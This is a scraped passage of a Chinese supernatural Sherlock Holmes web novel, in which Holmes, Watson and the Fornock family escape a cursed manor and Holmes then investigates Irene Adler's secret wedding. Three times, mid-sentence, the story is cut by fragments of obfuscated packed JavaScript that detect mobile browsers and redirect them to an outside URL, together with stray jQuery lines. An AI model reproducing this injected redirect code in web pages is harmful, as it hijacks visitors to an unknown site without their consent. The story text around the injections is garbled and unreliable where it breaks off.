亨伯哪里还要他催，连忙就往钟塔的方向赶去。 他记得那钟塔还藏有一个地下室，地下室的门扉上绘有诡异的仪阵图案。 如今伦敦的上流贵族家中，鲜少有不请使者作客卿的，他也请重金聘来的使者辨认过，后者说，这是用来密封某个储存空间的时候，他才放下心来。 现在想来，那一定就是放着重要账本的地下室！ 这样想着的亨伯面露希望，一把抓住钟塔地下室的门扉，就往外面拉开。 刺目的白光从本应阴暗的地下舒展生长。 他还没来得及想太多，就要往下方走去。 毁掉那个证据，他还会是这个看起来光鲜亮丽的…… 忽地。 镶嵌在头顶不显眼地方的魔鬼雕像破碎开来，蜿蜒的蛇从头颅部开裂，连蛇口中咬住的苹果，也一起化作碎石飞灰掉落。 他僵硬在原地，发现自己和利维坦交易所得到的超凡力量正在衰退。 用于祈祷获得力量的途径依旧在此，可能够供给力量的源泉不知为何消失。 亨伯僵在原地，联想到了一种他觉得简直是荒诞的可能。 ——有人杀死了……嫉妒的魔鬼？！ 不等他再仔细思索这种设想是否成立，地下室里传来了其他人的声音。 “前面有光！亚历山大，华生医生！我们好像快能出去了！” 亨伯浑身一个哆嗦，想起自己曾经在那座诡异的金玫瑰庄园里厮杀的场景。 无数人为了“亚历山大·福诺克”这个名字争得头破血流。 现在，难道又有人从那座庄园里活着将这个名字带了出来？！ 来不及感到嫉妒，先行一步扼住他命脉的是恐惧。 亨伯呼吸急促，像是发了癔症一样打着摆子。 他想到已经堵在门口的那群人里还有福诺克公爵本人，假如被他们发现亚历山大·福诺克就在这里，舆论将彻底爆发，到那时肯定还会牵扯到非法/囚/禁等罪名。 他看向钟塔里堆放的干柴，与墙壁上的煤油灯。 想起那本还躺在地下室的账本。 如果……他放火点燃这里，是不是就能一转形势？ 魔鬼在他耳边低语建议，让他几乎没有多想地就推倒那些干柴，又拿起墙上的煤油灯。 28.28 从地下往上走的四人逐渐看见头顶的光亮。 艾伦的脚步不由自主加快，说话的语气里也带上了昂扬的兴奋。 “终于能离开这鬼地方了！” 透着光亮的出口近在眼前。 但这时歇洛克突然开口，“出口处光线不对，有人拿着刀站在那里。” 亚历山大瞳孔紧缩，和约翰两人同时毫不犹豫伸出手拉住艾伦左右两边的肩膀。 艾伦踉跄往后倒来的瞬间，一把闪烁着锋利寒光的长剑当头劈下，在脚边的石阶附近砸出细密如蛛网般的缺口。 站在地下室入口处的中年男人这两年发福的厉害，沉迷于酒精和美色的他虽然实际年龄比福诺克公爵还要小两岁，但已经尽显老态。 他拎着长剑气喘吁吁地盯着下方的四人，眼里有着对年轻身躯的嫉妒与渴望。 魔鬼赐予力量的消退，更让他感觉惊慌无比。 明明此刻还衣冠楚楚，但他已经发现衣物下自己的皮囊，开始随着魔鬼的消失逐渐松垮，像是即将彻底腐朽枯萎的树皮。 “居然没死……” 他使用不了超凡的力量，于是喘着气丢开手中的长剑，像是垂死的野狗发狠要咬死眼前的几人。 “去死！” 他要丢下手中的煤油灯。 约翰第一时间扣动手中的左轮，咔哒一声，没有任何一发子弹再度出膛。 约翰咒骂一声，想起最后那颗子弹已经在深渊的金玫瑰庄园里被用掉。 亚历山大健步窜出，矫健得像一头年轻迅猛的雄狮。 他徒手拽住脸部如干涸河床般龟裂的亨伯左手，要将他手里的煤油灯夺下，右脚抵住地下室的门扉，尽可能阻止它被重新合上。 艾伦也扑上去，死死拽住亨伯的肩膀。 三人顿时拧打在一起，但亨伯占据高打低的优势，他狠踹了地下室的木门几脚，将固定的铜栓踹坏，然后吐出一口黑色的，具有某种腐蚀性的液体。 亚历山大与艾伦往后退去，面色难看地看着那仿佛毒液一样的□□落在石砖地面，飞溅起几点崩裂的碎石。 如果这东西是落在人体上，恐怕能在几秒之内，就使一个活生生的人被腐蚀得无影无踪。 披着亨伯侯爵皮囊的“人”癫狂地笑着。 “███没有抛弃我们！我还能继续使用████！” 他的话语也快被腐蚀得听不清楚，明明自身已经走到濒临死亡的绝境，竟还狂热地相信着自己信奉的“神”能够降临于世，带领自己走向生还的奇迹。 哪怕那位神明是一个无恶不作的魔鬼。 可惜他不知道的是，他信奉的神已然被面前的“某人”吞食。 连残骸也不复存在的利维坦无法再给予祂的信徒任何回应。 相反，与嫉妒的魔鬼联系越深的人，今晚将死亡得越快，犹如同在一棵大树上的枝叶花果，根部的腐烂溃败，会让树叶干枯、花果凋亡。 这是大树倾颓倒地前最后的余震，一旦魔鬼的残留的烙印消失，这些与魔鬼做过交易的灵魂就成了新鲜的腐肉，会吸引一波又一波的恶魔与超凡生物们来此猎食。 他们到时候要面对的可就不是一个疯狂的狂信徒，而是更加难缠棘手的敌群。 但此刻的“亨伯”已经癫狂到将自己当成一个助燃器。 煤油灯被拧开，那些刺鼻的液体被倒在他的身上，与半腐烂的皮囊混合成一股令人恶心作呕的气息。 他的理智已经几乎要全数枯萎消散，只剩恶意的本能驱使着身躯继续行动。 艾伦满头是汗，“我们冲得出去吗！” “我领头，你们跟在身后！”约翰喊道。 歇洛克拉住他，“我来。” 他目前的身体仍旧残破虚弱，但再透支一点使用仪阵还能做到。 “先生们，这里不如就让女士优先。” 一道陌生的声音从“亨伯”的背后传来。 这道声音温柔悦耳，谈吐亲和，是上流人士的口吻。 她优雅得像是来参加舞会，却看见同行的几位宾客里竟有人要扔下绅士风度进行路边决斗，所以上前劝阻。 “亨伯”的两只眼珠在半融化的眼眶里转了又转，像是觉得这道文雅的女声很是熟悉，但他连自己的身份都已经无法确定，即将彻底堕落成不具自我意识的饵料。 几乎不再残存的理智告诉他，最大的危险是福诺克公爵和白骑士团的那些使者们，不过他们现在都被拦在大门之外，还未入内，那么刚才说话的这家伙一定不足为惧。 他凭着本能，朝着身后反扑过去。 非人的流动身体，如同铺天盖地的黑色浪潮扑向后方穿着长裙的女性。 黑泥的间隙中，那名女性的身影跃入众人的眼帘。 她看起来个头娇小，并不是一个强势的人，若是看到这样一名女性摔倒，很多人的第一反应绝对是快步上前帮助，并贴心地询问是否受伤。 但就是这样一位女性，她手持银色的左轮。 即便面对的怪物异常恐怖，但她依旧把手臂架得很稳，目光直视自己的目标，丝毫没有偏移。 哪怕是从华生的角度来看，她都更像一名战士多过一位女士。 她受过专业的持/枪/训练，有着不会轻易受到动摇的意志，此刻面对自己的敌人，更没有胆怯与惊慌。 她挺直脊背，以一名战士的身份，站在沙场上扣动扳机。 左轮/枪口发出怒吼般的声响，秘银子弹呼啸而出，犹如听到号令的英勇战士杀向腐朽的敌人。 恶臭的黑色浪潮被半透明的屏障阻拦，但秘银的子弹正中那已经快不具人形的怪物头部。 好似不可阻挡的利剑，银光炸开一片绚烂的光影，烂泥一样的怪物发出恐怖的吼叫，但已无力继续维持自己的存在。 歇洛克冷静的声音响起，“还没死透！” 约翰反应过来，“补枪！” 即便他对这些超凡力量的了解还没有那么多，但战场上的生存经验告诉他，想要安全，必须确保敌人确确实实不会再爬起来给自己再来一发子弹。 手持左轮的人不用他们提醒，再度连续射/击，眼睛都不带眨地直至亲眼目睹“亨伯”哀嚎死去消散的模样，才缓缓垂下手来。 这位说话温和的女士的确“劝架成功”，只不过使用的手段是，将斗殴的其中一方直接轰杀，所以现场又恢复了平静。 子弹的连续出膛，使得这把枪烫得惊人。 她微微松手的时候，白皙的掌心已经全是水泡燎伤，破损的皮肤之下是蠕动的赤红玫瑰根茎。 但枪一直被她握着，并未放下。 亚历山大缓缓睁大眼，“母……亲？” 他几乎不敢相信自己的眼睛。 眼前这个浑身裹满了硝烟味的人，是以往从来不敢见血，说话时都轻声细语的母亲？ 她在这些年里还是会在社交场合中轻声细语地说话，但她为了找回自己的孩子，在掌心留下厚厚的枪茧，时刻只为这场重要的复仇之战做出准备。 她对自己说过仅此一次，但永远铭刻在心的诺言。 不管是谁，如果有人想要谋害自己那无辜的儿子，哪怕是神，她也会亲手杀了对方。 眼角有了些微皱纹的福诺克公爵夫人微笑地看向他。 “啊……正如哈德森太太所言……亚历克斯……你还活着。” 她慢慢走过去，但很快又不再继续留有这份此刻不需要的矜持。 她飞速奔过去，就像曾经在梦中无数次想要再度拉住自己孩子的手那样拥抱住他。 “亚历克斯！”她呼喊着他的乳名。 她紧紧拥抱自己的孩子，以一个母亲的身份；她牢牢守护自己的珍宝，以一个战士的身份。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876572|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 亚历山大也紧紧抱住她，“母亲！” 约翰拉着歇洛克，看向母子两人的相认场景，不由感慨。 “……真是太好了。” 相爱的亲人能够再度重逢，而渴望逃生的倒霉鬼们成功回到了自己熟悉的家乡。 “真是太好了……嘶！” 艾伦前半句话才刚说了一半，就被什么忽然砸中了头。 他倒吸一口凉气，扭头去看，发现是一尊化作破碎一半的恶魔雕像。 黑色的蛇妄图吞下整只苹果，但此刻已经渐渐化作粉末消散不见。 *** 几天后，报纸上关于亨伯侯爵与福诺克公爵，就矿山坍塌事件的审判终于有了定论。 这些年来亨伯家做过的所有黑心事件全部曝光，被炒得喧嚣四起，这反而使得福诺克独子回归的消息，在报纸上变得不是那么显眼。 等到社交界反应过来的时候，亚历山大·福诺克似乎已经无缝衔接重新回到了商政圈之中。 当然约翰觉得这肯定是有人故意为之，不想声张。 艾伦·威廉斯最近也成了报纸媒体的新宠儿，听闻福诺克家族大力投资，使得他家的新兴实业工厂也越发欣欣向上，双方共赢赚了不少钱。 报纸大力赞扬福诺克的商业眼光，似乎还有些发酸亚历山大·福诺克还是这么会赚钱。 当然，上流社交的震动波及不到约翰与歇洛克。 此时约翰正拿着羽毛笔苦恼文稿这段该如何遣词造句。 歇洛克照常躺在长沙发上看着这篇手稿，然后提醒他。 “约翰！你不觉得你把这段写得太具浪漫主义了吗？” 最近他对他的称呼好像也拉近了些。 约翰放下笔。 “我只是稍微修饰了一下。” “另外歇洛克，作为医生，我要提醒你，你的伤口还没有完全愈合，最近请减少尼古丁的摄入。” 歇洛克只得放下烟斗。 “不过令我感觉意外的是，雷斯垂德他们竟然没有特意为他们几位消除记忆，当然你我也在其中。” “倒是弗雷德里克将深渊里的那处残骸清理干净……哦！顺带那位带我们去庄园的马车竟然毫发无损地回来了！难道他也是……” “嘘。”歇洛克露出些许笑意，像是为了保留秘密一样和自己的好友对视，“有些事或许还是不要说出来比较好。” “不过深渊之中随时会出现很多无法用人类常理解释的场景现象，清扫了那里的金玫瑰庄园，或许还会有其他和现实维度相仿的建筑出现。” 他说道： “另外福诺克家族毕竟是福音教会的主要捐助者之一，教会会为他们处理后续的麻烦，艾伦身上也携带着福音教会的旧印，似乎是重要的家人送给他的。” “某种意义上，沾染着神秘力量的人和人、物和物、以及人和物都会互相吸引，最后被卷入同样的深渊之中。” 这时哈德森太太手中拿着几张信函上楼来。 “先生们，有你们的信。” 发现约翰正盯着她看，头发花白的老太太问道： “怎么了医生？” “不……”约翰想了想，还是抵不住自己的好奇心，“就是之前我们有一位委托人的母亲，曾经提起哈德森太太你的名字。” 福诺克公爵夫人好像和哈德森太太有过联系。 哈德森太太说道：“哦！我知道你说的是哪位，毕竟她曾经来光顾过我的生意，所以当初我还向她介绍说，或许可以向你们求助。” 她活泼地眨眨眼，一点也没有渐渐老去的感觉。 “您的生意？”约翰问道。 “如今算是我的副业。” 这下哈德森太太神秘地笑起来。 “下次欢迎医生你也光顾我的古董店。” 【金玫瑰庄园的晚宴完】 29.29 “无趣……无趣……无趣！” “都是些简单到无趣的报道和案件！” 报纸像深秋里被风吹跑的落叶，撒得满地都是。 约翰尚且来不及多看两眼今天报纸上是什么无趣的新闻，就看见自己的舍友已经毫不客气地踩着长沙发，越过椅背，抄起和酒精瓶靠在一起的小提琴开始一场即兴表演。 悠扬的乐曲响起。 这样精彩绝伦的表演，哪怕是让最苛刻的音乐评审团，和那些嘴上从不留情的音乐家们来点评，也只能奉上最高赞美的评价。 可惜，这位小提琴独奏者欣赏音乐，但没有对音乐的热切钻研之心，音乐剧院只能痛失这样一位天才级的大师人物。 约翰放下自己的手提包，在满屋的报纸和书籍中，收拾出一条暂时能容一人通行的“羊肠小道”。 拉着小提琴的歇洛克和他说道：“看样子你已经确认好诊所开设的地址和相关手续。” 在悠扬的提琴声中，约翰选择坐回自己常坐的单人沙发上。 他享受着悦耳的音乐，然后说道：“真是什么都瞒不过你，歇洛克！你的眼睛，就像拥有魔法一样能看穿一切虚伪！” “只是推理，毕竟你的提包旁还蹭过一小块红色油漆。橡树牌油漆，目前是皇家和政府部门的独家供应商，最近只有地产局那里在重新修葺使用到了它，所以你去过哪里真是一目了然。” 侦探伸长手臂，拉响最后曲目的最后一个音调，达成完美的即兴表演落幕。 约翰不由鼓掌，真心夸赞，“太精彩了，歇洛克！” 不管是演奏，还是推理。 “如果你实在无趣，不如和我一起去现场看赛马？” 约翰发出邀请。 “哦……我可不想浪费两三个小时，去看只需要一两分钟就能推理出结果的表演赛。” 歇洛克放下小提琴，从壁橱上方的书堆里精准抽出了一封信。 “无趣总是常态，不过近期这件事倒是让我觉得有些与众不同。” 约翰接过好友手中的这封信。 它是一封正式的登门拜访函，看起来典雅精致，价值不菲。 “这看起来是一位贵客送来的。” “出色的观察！”歇洛克不吝啬自己的夸奖，“或许你还能看出其他什么。” “嗯——我可没有像你那么厉害的眼睛。” 约翰继续端详着这封信。 就在他的手指抚过按理说应当平滑的信纸表面时，他忽然感觉自己触摸的是一朵盛放的鲜花。 “咦？” 那种手感和纸张给人的感觉完全不同。 约翰再度定睛看去。 那封信纸还是丝毫未变。 遇到常理无法解释的事情，通常也只有一个解释。 约翰的表情变得严肃起来。 “歇洛克……难道这位贵客也和超凡事件有关？” 这也就能解释，为什么侦探会说，这件事与众不同。 歇洛克说道：“更准确一点来说，这位相当有钱的客人只是被卷入某件超凡事件的边缘。” “被卷入？” “如果和神秘侧牵扯过多，留下的信息可就不会仅仅如此。” 约翰想到了之前血字案件里，被抽干全身血液后留下的尸体。 想要将魔鬼们绳之以法谈何容易，不过听歇洛克曾经谈起，他和雷斯垂德那边似乎对这样难题的解决方法有了新的进展。 两人正就这个话题继续深聊的时候，哈德森太太的声音和敲门声前后响起。 “两位，有客人到访。” 随后入内的是一位衣着相当奢华，但风格并非伦敦时尚的男子。 约翰瞧着他脸上的面具，不知为何想到了总是载着雷斯垂德他们前来的那辆黑色马车，和驾驶着它的高帽车夫。 对方也总是压低了帽子，从不让其他人看见自己的面容。 歇洛克说道：“哦——是我们的委托人。” 约翰自觉近期忙碌于开设诊所的相关手续，已经很长时间没有接触歇洛克接手的案件。 但当他表露出好奇的时候，侦探非常自然地带上他一起探寻这次离奇表象后的真实。 约翰转过头去，发现来者果然是和歇洛克之前推理总结的一样，是一位有着浓郁德国口音的波西米亚有钱人。 他保持安静，只是像几个月前一样拿出自己的纸笔，准备记录关键的事情经过。 客人看了眼他手中的纸笔。 坐在长椅沙发上的侦探直言，“这位是我的好友与助手，约翰·华生医生，您如果有什么想说的，可以直言不讳。” 对方在起居室里来回踱步了几个来回，然后说道： “我是一位波希米亚贵族，你可以称呼我冯·克拉姆伯爵。” “首先我要确认，你们两位能在两年内绝对保密我今日委托的这件事，不可对外进行任何宣扬，否则这甚至可能影响整个欧洲历史的进程。” 约翰大惊，他想起刚才抚摸信纸时的手感。 再度看向这位来客的时候，他的目光中带上更仔细的审视，也下意识靠近轻嗅周围的空气。 没有那种群星草与月光花焚烧后特有的草木香。 这是超凡者或超凡物惯有的气味，之前坐过的黑色马车身上也有类似的味道。 对于这种味道，他的鼻子很灵，甚至有时的直觉能比歇洛克的推理更快一步告诉他答案，但跳过了其中需要深挖的本质。 也就是说，这位委托人应该只是一名普通人，或者他用了什么非凡的手段将那股气息也掩藏了起来。 他下意识看向自己的舍友。 歇洛克的眉梢微动，懒洋洋的表情没有过多变化。 虽然对推理不是非常上手，不过约翰自认自己和这位脾气古怪的舍友相处这么长时间，已经能从他细枝末节的表情里读出一些他的潜台词来。 很显然，此时的歇洛克是不耐烦，而且他笃定眼前的普通人可不是那只会扇动翅膀就引起飓风的蝴蝶。 “既然您这么说，那我保证约定。”歇洛克说道。 “我也是。”约翰紧跟其后。 衣着华丽的客人又一次在起居室里来回踱步了几个来回。 “是这样的，派我来的贵人不愿意暴露太多信息。” “我只能说，我们需尽可能采取一切措施，以预防这件事发展成一个惊天的丑闻……” 歇洛克另一边的眉梢也微微抬起了。 约翰猜他心里恐怕是在说，如果只是这样，还不如让雷斯垂德多带几个有关堕落的恶魔行凶案卷宗来打发时间。 像是察觉到过了几分钟后，起居室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903053|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里仍旧没有人接话的氛围实在太过尴尬，这位客人只好继续硬着头皮说下去。 “坦率来说，这件事会使伟大的奥姆斯坦家族——波希米亚世袭国王——受到牵连！” 歇洛克打断了这位戴上面具的委托者发言。 “说点我不知道的。” “要是陛下你肯屈尊将这件事阐明得更清晰，我相信我们能更好更快地解决这个问题。” 听到这句话，起居室的地板像是变成了滚烫的地板，让这位客人和约翰差点没一起当场跳起来。 只见国王激动地又来回踱步几圈，最后以一种几乎可以称之为绝望的姿态，将自己的面具摘下。 “你怎么会知道我就是波西米亚国王……难道正如他们所说，居住在贝克街的住客们都是能够看穿人心的特殊存在？！” “错误的。”歇洛克随口说道：“住在这里的不乏普通人。” “当然，前提是你没有触及到他们的雷区。” “那么威廉·戈特赖希·西吉斯蒙德·冯·奥姆施泰因先生，你来此想要委托我们的事情到底是？” 这下他身上奢华的衣物，和特殊的口音腔调就都有了合理的解释。 身份尊贵的客人知晓眼前的侦探不受世俗约束，他无奈地在他们对面坐下，然后开始讲述他此行的目的。 约翰仔细侧耳倾听，在捕捉到“艾琳·艾德勒”这个名字的时候，不知为何他又稍稍恍惚片刻。 一旁的两人已经飞速将这位女士的大概信息核对过一遍。 她是一名女歌手，曾在华沙帝国歌剧院就职过，但已经退出了歌剧舞台，目前居住在伦敦圣约翰伍德的塞彭泰恩大街。 按照国王陛下的描述，这位女士明艳动人，聪明绝顶，且性格刚毅。 她偶尔会有娇弱的一面，但在关键时候从来都是果决坚韧。 眼下他快要和纳维亚国王的二公主克洛蒂尔德·洛特曼·冯·札克斯迈宁根结婚，他担心艾琳一旦将自己和她曾经的亲密合照公开，就会让性格敏感的公主同步公告天下婚事的告吹。 歇洛克微微抬眼，“两人的合照……那国王陛下，你的生活的确是不检点，且大意得过分。” 说到这里，国王颇为懊恼地轻拍自己的额头。 “你们不会懂得……她真的是一名非常优秀迷人的女性，如果不是身份不符，她将是我完美的王后！” 歇洛克对此表示不置可否，但出于对这件事的负责，他当然还是更详细地询问了国王，他为了取回两人的合照，没有试过其他方式吗。 实际上，在他来贝克街拜访之前，不管是偷盗还是抢劫，都未能从那个聪慧的女人身边发现任何照片的影子。 这下歇洛克的视线里终于露出些许感兴趣的亮光。 他一改之前窝在长椅上懒洋洋的坐姿，与委托人再度确认了照片的几处细节后，约定好联络的方式，就直接送客。 约翰看向他，“歇洛克，这位尊敬的……呃，委托人看上去不太像接触超凡事件的样子。” “的确不是他，更大的可能性是在这边。” “找不到的照片，除了藏得好之外，还有可能是使用了秘密的手段‘令人看不见’。” 歇洛克的手指点在摊开在茶几的资料上。 他的指尖附近正是艾琳·艾德勒的名字。 30.30 圣约翰伍德，塞彭泰恩大街，布里翁尼府第。 今天马棚里来了一位面生，且并不起眼的马夫。 他手脚勤快，做事麻利，很多其他马夫都不乐意干的琐事，他也能很快上手，并完美将事情做好。 腾出更多时间去打牌喝酒的其他马夫们招呼着这个生面孔。 “你也是想来艾德勒小姐这里应聘的？” 那位长相普通的马夫看起来日子实在过得落魄，但今天的表现令其他人对他很是看好。 只见他点点头，嗓音嘶哑地说道：“听说艾德勒小姐慷慨大方，是个很不错的雇主。” 其他人纷纷点头。 “要是艾德勒小姐不上台表演，我觉得她真是个和蔼可亲的人；如果她要上台表演的话，不知道为什么，她简直像个女王一样，威严得叫人不敢直视！”有人如此说道。 落魄的马夫抬起头，往窗明几净的屋里看去。 他嗅到了浓郁的百合花香，以及不容忽视的群星草和月光花的香气。 这些草木气息混杂在一起并不难闻，但传递着有些不同寻常的奇妙感。 只见一位盘发的女士正在屋内认真耐心地练习自己的歌喉，她的嗓音优雅动人，丝毫不愧别人对她天籁之喉的称赞。 她原本是侧对着窗户，此时像是突然察觉到他的目光，微微侧首看了过来，明艳美丽的脸上出现些许情感的波动。 然后屋里其他下仆像是紧跟着她的动作也看过来，有几位紧绷着身体的女仆眼中出现恶狠狠的神情。 其中一位立马警觉地朝着窗边走来。 “你们都聚在这里偷懒干什么！还不去干你们自己的活！” 她抬着下巴，像是非常看不起他们这群衣衫不够干净整洁的马夫，说话时的态度也显得傲慢和不满，仿佛自己是站在云层里俯视众生的人。 说完，她立马就将窗帘拉上，不再给他们打量室内的机会。 新来的马夫盯着这位女仆矫健的动作看了几眼。 一旁的人等窗帘拉上后，才悻悻啐了一口。 “艾德勒小姐新招来的这群下仆真是不够格，嘴上说着我们没有直觉，我看他们才是真没有自觉的人！倒不如说，简直就是恶仆！” 马夫也跟着露出厌恶的表情，“那她可真是讨人嫌！” “她以前不在这里工作吗？” 这下引起了另一名之前就在这里工作的马夫心中共鸣。 他的话匣子一下打开。 “可不是！” 他说道： “就在几天前剧院舞台发生了火灾坍塌，你知道吗？” 新来的马夫点点头，表情配合得很夸张。 “我当然知道！街头巷尾都传疯了！有传闻说，舞台上面的吊灯还砸死了好几个人！” “那个时候艾德勒小姐也在那里！” “或许是惊吓过度，自打那天起，她身边的仆人就全都换了个遍，当然了艾德勒小姐那么脱俗美丽，我猜肯定是有大人物担忧她的安危，所以才出此主意。” “但这大人物估计没想到，新找来的这些仆人都是些仗势欺人的家伙！他们甚至不允许艾德勒小姐单独外出！难以置信！” 马夫若有所思。 然后他听见对方吆喝着问他，要不要一起去喝杯酒打牌的时候，他笑了笑。 “我还有些事，今天就先不了。” 接着他也并未像其他马夫一样，在完成工作后陆续离开布里翁尼府第。 他又绕着这幢房子的四周多看了好几圈，最后将视线锁定在了被仆人们簇拥着出门的那位女士身上。 她一袭白色长裙，看起来典雅庄重，美艳动人的面容被一顶礼帽半遮住。 从屋门口到马车的几步距离里，她不经意间露出的风情，或许就足够叫很多人难以忘怀。 不过这位观察着她的马夫眼里完全没有常人会有的着迷。 他在思索，自己刚才状似不经意间看过去的目光，仿佛又一次和那位女士对视上了。 于是他在那群人急匆匆找来一位车夫要离开的时候，没有急着上前，反而打算另雇一辆马车跟在他们的身后，远远看着他们到底要前往何处。 一辆看起来随处可见的公共马车主动停在了他的面前，像是带着主动示好一样，坐在前面的年轻车夫笑得露出尖尖的小虎牙，用一种看起来很符合他外表年龄的活泼语气说道： “又见面了，先生！” “需要车吗？” 他眨眨眼。 “上次我成功将您和另一位先生送到目的地庄园，这次也保证不会让前面那辆马车察觉到我们的目的！” 被搭话的人看了他一眼。 “不知道有没有【无面人的马车】方便。” “嘿先生！”他说道：“我的要价可比那家伙便宜多了。” “走！” 马夫不再和他多言，塞了一些钱币到他手中后就果断上车。 车夫开心地掂了掂那些钱，心想距离在贝克街租房的未来又近一步。 他扬起马鞭。 “坐稳了先生！” 他们一路跟着前方的马车，最终到达一个位置偏僻的小教堂。 平平无奇的马夫在车厢里将自己的外套反穿，撕掉黏在下巴上的络腮胡，再掏出之前藏在怀里的羊毡帽，撒上口袋里的一些木屑，这时候他俨然就成了另外一个同样普通常见，但并非马夫的手艺人。 他下车的时候，刚收了钱的年轻车夫提醒他。 “先生，刚才一起进去的那几位仆从可不是什么普通人。” 这位摇身一变的手艺人，有着一双能够轻松看穿表象的锐眼。 “我知道。” “从呼吸的频率，步伐的快慢来看，最起码都是二阶到三阶的使者，而且带有教会的标志。” “我的雇主想从这样缜密的超凡保护中靠近艾琳·艾德勒，的确是有些痴人说梦，当然只会无功而返。” “不过这倒是更让我好奇，为什么福音教会会派如此之多的人手‘保护’……或者说‘监/视’一个女歌唱家。” 他调整了自己的呼吸频率与步伐节奏，然后假装自己真的只是前来祷告一样走进前方的小教堂中。 教堂内的人不少，但大部分都分散在门窗外，像是不约而同默契地将室内圣坛的位置留给了牧师与另外一男一女，但也把守住所有的出入口，尤其密切关注里面的人是否走出。 而牧师此刻面露难色，像是无法轻易答应什么。 手艺人看了眼那群分散的仆人们警惕看过来的视线，然后像一个最常见不过的教众一样准备在天使像前祷告。 这时身着白衣的女士看过来，她的眼睛温和湿润，看起来就像由天使引导的羔羊一样纯洁。 这是他们第三次对视。 此时的她看起来完全不像是艾琳·艾德勒本人。 也就是在这时，她和身边的男士说了什么。 手艺人认出，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909303|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位有着鹰钩鼻子，留着小胡子，看起来肤色偏黑的男士叫作戈弗雷·诺顿，是一名律师。 此时他猛然回头见到在场的第四人时，面露惊喜的神色。 “嘿！老兄！你来得太是时候了！” 戈弗雷热情地喊他。 “耽误你五……不！只要三分钟的时间就好！” 然后他就被这位叫作戈弗雷·诺顿的男士拉到圣坛上。 牧师看看他们，嘟囔着说了一句“好吧，既然你们能找到傧相，我也不会推脱”。 接下来就是一场婚礼，仅用三分钟就完成仪式的婚礼。 没有盛大的排场，没有满座的宾客，也没有嘹亮的祝福，甚至新娘未曾捧着花束，只有新郎满眼的柔情，和一对像是早已准备好的婚戒一同摆在圣坛之上。 教堂彩窗下的天使慈爱地看向这对不合常规结合的新人。 他们互相交换了戒指，又在牧师的宣告中彼此亲吻落泪。 今天的白色长裙与西装，像是特意为了这场仓促的婚礼而准备。 不过新郎明明笑着，但不知为何又落泪。 新娘目光柔和地看着他，伸手擦掉新婚丈夫眼角的泪珠，然后轻声说道：“别伤心，亲爱的戈弗雷，这场婚礼已经是对我的恩赐，我已然接受自己的命运……但我的灵魂今后也会在天使和主的护佑下与你同在。” 此时的她看起来一点也不强势，完全不见国王口中描述的模样。 新郎紧紧握住她的手，却泣不成声，也丝毫不见之前干练律师的感觉。 手艺人沉默地看看他们，心中思索这对匆匆结合的新人表现出的种种古怪之处。 最后，新郎哑着嗓子对牧师说道： “请您宣告我与妻子的合法结婚。” 牧师一愣，“我刚才不是已经说过了吗？” 新娘看着他们。 手艺人这时说道，“不，刚才流程虽然已经结束，但您的确没有说出最后的证词。” 新娘又看向他。 这个瞬间，百合花的花香又忽地变得浓郁起来，但很快再度消散。 牧师讶异地自我检讨。 “抱歉，几位……我还以为我刚才已经说过。” “那么……” “现在我以主的名义，宣布戈弗雷·诺顿与■■■■■■成为夫妻！” 牧师丝毫没有察觉自己刚才说出的话有何不妥。 他温和地看向这对新人。 “祝福你们今后的生活幸福美满，能够白头偕老。” 戈弗雷紧紧握住了自己妻子的手，一时没有回话。 一旁的手艺人则眸光微沉。 牧师在说出新娘姓名的瞬间，他的声音就像出了故障的电台发出极其刺耳，甚至可以说是难以忍受的声响。 但除了他以外，在场其他人都没有任何反应。 新郎像是察觉到了什么，但那只是出于早已预料的经验，而非临场感知到的信息在敦促行动。 他徒劳握紧身边新娘的手，但不知如何，已经无能为力做出其他反应。 接下来的流程就与他这个临时被拉来充当傧相的人无关。 手艺人顺理成章离开这座教堂，等来到无人的街角，脱下略显破旧的外套，摘下起毛的帽子，他的身体发出喀拉喀拉的声响。 看起来相对矮小的身材，在几秒内变得高挑挺拔。 于是这个木楞的手艺人，就成了大名鼎鼎的咨询侦探歇洛克·福尔摩斯！ 31.31 “所以你暗中潜入了布里翁尼府第？！” 约翰听到自己的好友说起之前探查的情报时，不由惊讶地睁大眼。 “不，我没进屋去，但通过伪造的身份，以及在附近的调查，已经将那座房子的情况调查得明朗。” 距离国王离开的时间还有三天不到，不过歇洛克现在看起来一点也不着急。 “大部分情况，仅用双眼，和言语交谈就能获取。” “我敢肯定的是，那座房子被不少教会的使者明里或暗中监视着，有一些‘仆人’明显没有研究过如何演戏，拥有超凡力量的他们有时总是过度傲慢了，反倒令人心生疑惑和厌恶。” 他拿起刀叉，动作幅度略大地挥下时，就像干着重体力活的矿工。 但等他把食物送进嘴边，只咬小半的时候，又像上流社会中从小体弱多病的贵族子弟。 几个细节，就让他在举手投足之间塑造成截然不同的两个人。 